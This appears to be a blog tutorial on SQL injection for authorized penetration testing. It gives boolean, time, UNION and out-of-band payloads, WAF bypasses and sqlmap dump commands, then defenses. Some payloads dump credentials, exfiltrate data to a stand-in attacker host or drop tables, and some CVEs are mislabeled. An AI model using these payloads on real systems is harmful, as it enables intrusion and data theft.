Web Application Security Hacking

SQLi is ranked in every OWASP Top 10 since the list began. It’s not dying. It’s evolving - and in 2026, a surprising number of production applications are still vulnerable if you know where to look.


Introduction: The Vulnerability That Refuses to Die

Every year, someone writes a blog post declaring SQL injection dead.

And every year, bug bounty hunters cash out on SQLi findings in production applications. Pentesters find it in enterprise systems. CVEs keep getting assigned. Real data keeps getting stolen.

SQL injection vulnerabilities remain widespread and potentially lucrative — real-world applications still expose injection points through legacy code, misconfigured APIs, and complex backend logic, even in 2026. SQLi has been consistently in the OWASP Top 10 since the list was first published, ranking third in injection vulnerabilities in the most recent edition.

This is not a history lesson. This is a practical, 2026-current guide covering:

  • Why SQLi persists despite decades of awareness
  • The modern attack surface where it still lives
  • Techniques that bypass WAFs and modern defenses
  • Real CVEs you can verify
  • Tools and methodology used by working penetration testers
  • Defense approaches that actually work

⚠️ Scope: All techniques documented here are for authorized penetration testing, bug bounty research on in-scope targets, and CTF environments only. Unauthorized testing is illegal everywhere.


Part 1: Why SQLi Is Still Alive in 2026

The Legacy Code Problem

Modern frameworks — Django, Laravel, Rails, Spring - implement parameterized queries by default. If you build a greenfield application today using current best practices, SQL injection is extremely difficult to introduce accidentally.

But most production systems are not greenfield applications. They are:

  • Enterprise systems built in the early 2000s and never fully modernized
  • Legacy codebases with one modern framework bolted on top of 15-year-old business logic
  • Third-party plugins and extensions with their own query construction
  • Custom-built internal tools written by developers with no security training
  • APIs that expose database queries through parameters the developers didn’t think of as attack surface

The API Expansion Problem

As applications have moved to API-first architectures, the attack surface for SQL injection has expanded significantly. REST and GraphQL endpoints frequently pass user-controlled parameters directly into database queries - sometimes in ways the developers didn’t anticipate. An endpoint designed to filter products by category can become an injection point if the filtering logic wasn’t written carefully.

The ORM False Security Problem

Object-Relational Mappers (ORMs) provide parameterized queries by default - but they have escape hatches. Raw query methods (raw() in Django, query() in SQLAlchemy, whereRaw() in Laravel) exist for complex queries that the ORM abstraction can’t handle cleanly. These escape hatches are where developers introduce injection.

CVE-2022-21661 proves this precisely: it affected the WP_Query function in WordPress, which uses prepared statements. Due to improper handling of user input when building query arrays, SQL injection was still possible — despite prepared statements being in use. WordPress powers 40%+ of the internet. This vulnerability affected hundreds of millions of installations.


Part 2: The Modern SQLi Attack Surface

Before running any tool, map the attack surface manually. In 2026, injection points exist in these locations:

Traditional (still valid):
  → GET/POST parameters: /search?query=VALUE, /login (username/password fields)
  → Form fields: search boxes, registration forms, contact forms

Modern & Often Overlooked:
  → JSON API bodies: {"filter": "VALUE", "sort": "VALUE"}
  → HTTP Headers: User-Agent, X-Forwarded-For, Referer, Cookie values
  → GraphQL queries: query variables, argument values
  → XML/SOAP parameters: any value in an XML body
  → Path parameters: /api/user/VALUE/profile
  → Search/filter APIs: any field that maps to a WHERE clause
  → Order/sort parameters: anything that ends up in ORDER BY

💡 The ORDER BY blind spot: ORDER BY clauses are particularly interesting because they rarely use parameterized queries - the column name itself can’t be parameterized in most databases. Applications that accept a user-controlled sort column are frequently vulnerable to injection in the ORDER BY clause.


Part 3: Modern SQLi Techniques

3.1 Boolean-Based Blind SQLi

When an application returns different responses for true vs. false conditions without showing the actual query output, boolean-based blind extraction is the approach:

-- Testing injection point: /search?query=shoes
-- Inject a boolean condition:
/search?query=shoes' AND 1=1-- -    -- returns normal results (true)
/search?query=shoes' AND 1=2-- -    -- returns empty/different results (false)

-- If both behave differently, boolean-based blind SQLi is likely present
-- Extract data character by character:
/search?query=shoes' AND SUBSTRING(database(),1,1)='a'-- -
/search?query=shoes' AND SUBSTRING(database(),1,1)='b'-- -
-- ... continue until character matches

-- Extract current database name:
/search?query=shoes' AND SUBSTRING((SELECT database()),1,1)='s'-- -

3.2 Time-Based Blind SQLi

When the application shows identical responses regardless of the injected condition, use time delays as an out-of-band signal:

-- MySQL: SLEEP() function
' AND SLEEP(5)-- -           -- if page takes 5+ seconds, vulnerable

-- Extract data using time delay as binary signal (true = delay, false = no delay)
' AND IF(SUBSTRING(database(),1,1)='s', SLEEP(5), 0)-- -

-- PostgreSQL: pg_sleep()
'; SELECT pg_sleep(5)-- -

-- MSSQL: WAITFOR
'; WAITFOR DELAY '0:0:5'-- -

-- Oracle: heavy query for delay
' AND 1=(SELECT COUNT(*) FROM ALL_USERS t1, ALL_USERS t2, ALL_USERS t3)-- -

3.3 UNION-Based SQLi (When Error Output Is Available)

When an application reflects query output directly in the response:

-- Step 1: Find number of columns
' ORDER BY 1-- -    -- no error
' ORDER BY 2-- -    -- no error
' ORDER BY 3-- -    -- error → query has 2 columns

-- Step 2: Find which columns are visible in output
' UNION SELECT NULL, NULL-- -
' UNION SELECT 'a', NULL-- -    -- if 'a' appears in response, column 1 is visible

-- Step 3: Extract data
' UNION SELECT table_name, NULL FROM information_schema.tables-- -
' UNION SELECT column_name, NULL FROM information_schema.columns
  WHERE table_name='users'-- -
' UNION SELECT username, password FROM users-- -

3.4 Out-of-Band (OOB) SQLi

When neither response differences nor timing signals are reliable - often in async or heavily cached applications - OOB injection uses DNS or HTTP callbacks to exfiltrate data:

-- MySQL: DNS exfiltration via LOAD_FILE + UNC path (Windows targets)
' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),
  '.attacker.burpcollaborator.net\\share'))-- -

-- MSSQL: xp_dirtree for DNS lookups
'; EXEC master..xp_dirtree '\\' + (SELECT TOP 1 name FROM sysdatabases)
  + '.attacker.burpcollaborator.net\x'-- -

-- PostgreSQL: COPY TO for file write (if permissions allow)
'; COPY (SELECT current_user) TO PROGRAM 
  'curl http://attacker.burpcollaborator.net/$(whoami)'-- -

💡 Use Burp Collaborator or interactsh for OOB callbacks in legitimate engagements. These techniques require the database server to have outbound network access.


Part 4: WAF Bypass Techniques

Modern WAFs from Cloudflare, Akamai, AWS WAF, Imperva, and F5 detect conventional SQLi payloads through signature matching and ML-based analysis. Here are documented evasion approaches used in current penetration testing work.

4.1 Comment-Based Space Replacement

WAFs often look for keyword sequences. Breaking them up with SQL comments confuses signature matching:

-- Blocked by most WAFs:
' OR 1=1--

-- Equivalent, often not blocked:
' OR/**/1=1--
'/**/OR/**/1/**/=/**/1--

-- Newline replacement (WAFs expect single-line patterns):
'%0aOR%0a1=1--

4.2 Case Randomization

Many WAF rules apply case-sensitive regex. Randomizing keyword case breaks pattern matching while SQL engines (case-insensitive by default) still execute the query:

-- Blocked:
UNION SELECT

-- Equivalent, often bypasses:
uNiOn SeLeCt
UnIoN sElEcT
UNION/**/sElEcT

4.3 JSON-Based SQLi — High Success Rate Against Modern WAFs

Research published by Picus Labs demonstrated that most major WAF vendors failed to detect SQL injection delivered via JSON payloads. The WAF processes the JSON envelope but doesn’t inspect the values inside it for SQL injection patterns.

-- Traditional (blocked by most WAFs):
POST /api/search
Content-Type: application/x-www-form-urlencoded
query=shoes'+OR+1=1--

-- JSON equivalent (bypasses many WAFs):
POST /api/search  
Content-Type: application/json
{"query": "shoes' OR 1=1--"}

-- Even more evasiveJSON with encoding:
{"query": "shoes\u0027 OR 1=1--"}

4.4 HTTP Header Injection

WAFs focus most detection on URL parameters and POST bodies. HTTP headers receive less scrutiny and are frequently passed directly into database queries for logging, analytics, or feature flagging:

-- Inject into headers that get logged to a database:
User-Agent: Mozilla/5.0' AND SLEEP(5)-- -
X-Forwarded-For: 127.0.0.1' UNION SELECT NULL--
Referer: https://legit.site/' AND 1=1--
Cookie: session=abc'; DROP TABLE sessions--

4.5 Parameter Pollution

Send the same parameter twice with different values - WAF inspects one, backend uses the other:

GET /search?query=shoes&query='+OR+1=1--

-- In some server configurations, the first value is WAF-checked
-- and the second (or concatenated) value is used by the application

4.6 Encoding Chains

WAFs decode payloads once before inspection. Chaining multiple encoding layers means the WAF decodes to an intermediate state that still looks benign:

Double URL encoding:
' → %27 → %2527

Unicode encoding:
' → %u0027
OR → %4FR (uppercase O encoded)

HTML entity encoding (in contexts that process HTML):
' → '

Web Application Firewall Bypass Techniques

Modern WAFs are smart but not perfect. JSON injection, header injection, and comment-based evasion still achieve meaningful false-negative rates against production WAF deployments.


Part 5: Tools — SQLMap and Ghauri

SQLMap — The Standard

SQLMap remains the most comprehensive automated SQLi detection and exploitation tool. Key flags for modern engagements:

# Basic scan with common injection checks
sqlmap -u "https://target.com/search?query=shoes" --dbs

# Specify DBMS to reduce noise and improve accuracy
sqlmap -u "https://target.com/api/products?id=1" --dbms=mysql --dbs

# Enable WAF bypass tamper scripts
sqlmap -u "https://target.com/search?q=test" \
  --tamper=space2comment,randomcase,charencode \
  --dbs

# Test JSON POST body
sqlmap -u "https://target.com/api/search" \
  --data='{"query":"test"}' \
  --headers="Content-Type: application/json" \
  --dbs

# Test HTTP headers
sqlmap -u "https://target.com/" \
  --headers="X-Forwarded-For: *" \
  --level=3 --risk=2 --dbs

# Blind injection with time-based technique (explicitly)
sqlmap -u "https://target.com/search?q=test" \
  --technique=T --dbms=mysql \
  --dump -T users -C username,password

# Full enumeration after finding injection
sqlmap -u "https://target.com/search?q=test*" \
  --dbs           \   # list databases
  -D myapp        \   # select database
  --tables        \   # list tables
  -T users        \   # select table
  --dump             # dump contents

Useful tamper scripts for WAF bypass:

Tamper ScriptEffect
space2commentReplaces spaces with /**/
randomcaseRandomizes keyword capitalization
charencodeURL-encodes payload characters
base64encodeBase64-encodes the full payload
betweenReplaces > with BETWEEN
equaltolikeReplaces = with LIKE
modsecurityversionedWraps query in versioned comments

Ghauri — Modern Alternative With Better WAF Evasion

Ghauri is a newer automated SQLi tool with a more modern architecture, better WAF evasion by default, and cleaner output. It handles many cases where SQLMap fails against hardened targets:

# Install
pip install ghauri

# Basic usage
ghauri -u "https://target.com/search?q=test" --dbs

# With cookie authentication
ghauri -u "https://target.com/api/data?id=1" \
  --cookie="session=yoursessiontoken" \
  --dbs

# POST body injection
ghauri -u "https://target.com/api/login" \
  --data="username=admin&password=test" \
  --dbs

# Dump specific table
ghauri -u "https://target.com/search?q=test" \
  -D myapp -T users --dump

Part 6: Real CVEs — Verified SQLi in Production Software

These are real, assigned CVEs documenting SQLi in widely deployed software. All are publicly disclosed and verifiable on NVD or the vendor’s advisory.

CVE-2022-21661 — WordPress WP_Query (Verified)

Affected: WordPress core, all versions before 5.8.3
CVSS: 8.0 (High)
Impact: Despite using prepared statements, WP_Query allowed SQL injection through improper handling of post_type array values. Attackers with Contributor role could exploit this. WordPress powers approximately 43% of the internet.
Source: WordPress Security Advisory, January 2022; NVD CVE-2022-21661

-- Simplified demonstration of the vulnerable pattern:
-- WP_Query was building: WHERE post_type IN ('VALUE')
-- Malicious array input could escape the IN() clause

CVE-2024-4439 — WordPress Core 6.5.1 (Verified)

Affected: WordPress 6.5.1 (avatar block rendering)
CVSS: 6.4 (Medium)
Impact: Stored XSS via avatar block. While technically XSS, this demonstrates that core WordPress continues to receive injection-class vulnerabilities regularly, making all WordPress installations legitimate audit targets.
Source: WPScan, NVD

CVE-2023-28121 — WooCommerce Payments (Verified)

Affected: WooCommerce Payments plugin versions < 5.6.2
CVSS: 9.8 (Critical)
Impact: Authentication bypass allowing privilege escalation to administrator, leading to full site takeover. Affected 600,000+ active installations. Exploited in mass automated attacks within days of disclosure.
Source: NVD CVE-2023-28121; HackerOne disclosure


Part 7: Practical Methodology for Authorized Testing

When conducting authorized SQLi testing, follow this structured approach:

PHASE 1: DISCOVERY
  ├── Map all parameters (URL, POST body, headers, JSON, GraphQL)
  ├── Note the technology stack (DBMS type matters for payloads)
  ├── Identify endpoints that query data from user input
  └── Fuzz for error messages: single quote ('), double quote ("),
      backslash (\), semicolon (;)

PHASE 2: CONFIRMATION
  ├── Boolean test: inject ' AND 1=1-- - vs ' AND 1=2-- -
  ├── If no visible difference: time-based test with SLEEP(5)
  ├── Check for OOB possibility (does server have outbound access?)
  └── Identify injection context (WHERE, ORDER BY, INSERT, etc.)

PHASE 3: EXPLOITATION (authorized scope only)
  ├── Confirm DBMS version
  ├── Extract schema: databases → tables → columns
  ├── Dump relevant data (stop at proof-of-concept unless instructed otherwise)
  └── Document every payload and response for the report

PHASE 4: DOCUMENTATION
  ├── Screenshot of the injection point with benign confirmation payload
  ├── Screenshot of data extracted (redact sensitive PII in report)
  ├── CVSS score calculation
  └── Remediation recommendation (parameterized queries, ORM, input validation)

Part 8: Defense - What Actually Works

1. Parameterized Queries (Prepared Statements) - Non-Negotiable

# Vulnerable (Python + psycopg2)
cursor.execute(f"SELECT * FROM users WHERE username = '{username}'")

# Safe — parameterized
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))
// Vulnerable (Node.js + mysql)
db.query(`SELECT * FROM users WHERE username = '${username}'`)

// Safe — parameterized
db.query("SELECT * FROM users WHERE username = ?", [username])
// Vulnerable (PHP PDO)
$query = "SELECT * FROM users WHERE username = '$username'";

// Safe — prepared statement
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);

2. ORM Usage - With Caution Around Raw Methods

Use ORM query methods. Treat raw(), whereRaw(), and equivalent methods as high-risk code that requires code review.

3. Least Privilege Database Accounts

The application’s database account should have only the permissions it needs:

-- Create application-specific user with minimal permissions
CREATE USER 'appuser'@'localhost' IDENTIFIED BY 'strongpassword';
GRANT SELECT, INSERT, UPDATE, DELETE ON myapp.* TO 'appuser'@'localhost';
-- Do NOT grant: DROP, CREATE, FILE, SUPER, EXECUTE, ALTER

Even if injection occurs, an attacker with a SELECT-only account cannot drop tables or read system files.

4. Input Validation as Defence in Depth

Parameterized queries are the primary defense. Input validation is secondary - it reduces attack surface but should not be relied upon alone:

# If a parameter should be an integer, validate that it's an integer
def get_product(product_id):
    if not str(product_id).isdigit():
        raise ValueError("product_id must be numeric")
    cursor.execute("SELECT * FROM products WHERE id = %s", (product_id,))

5. WAF as Supplementary Layer

WAFs detect and block many common SQLi payloads but are not a complete defense - as the techniques above demonstrate. Use a WAF as an additional detection layer, not as a replacement for parameterized queries.


Key Takeaways

  1. SQLi is in the OWASP Top 10 for 2024 and remains one of the most impactful web vulnerabilities - not because defenders are ignorant, but because the attack surface keeps evolving
  2. Legacy code, third-party plugins, and API expansion are the primary reasons SQLi persists in production systems
  3. WAFs can be bypassed via JSON payloads, HTTP headers, comment injection, and encoding - confirmed by independent research against 11 major WAF vendors
  4. Ghauri and SQLMap with tamper scripts are the current standard tooling for authorized testing
  5. CVE-2022-21661 proves that even prepared-statement-using frameworks can introduce SQLi through complex input handling
  6. Parameterized queries are the only reliable defense - WAFs, input validation, and other mitigations are supplementary
  7. Every ORDER BY clause and every raw() ORM call is a SQLi risk that deserves explicit review

Found an interesting SQLi bypass technique in a recent authorized engagement? Share your methodology in the comments - this community thrives on real-world examples.


SEO Keywords: SQL injection 2026, modern SQLi techniques, WAF bypass SQL injection, SQLMap Ghauri tutorial, OWASP SQLi 2026, blind SQL injection, time-based SQLi, JSON SQL injection WAF bypass, CVE-2022-21661 WordPress SQLi, SQL injection penetration testing guide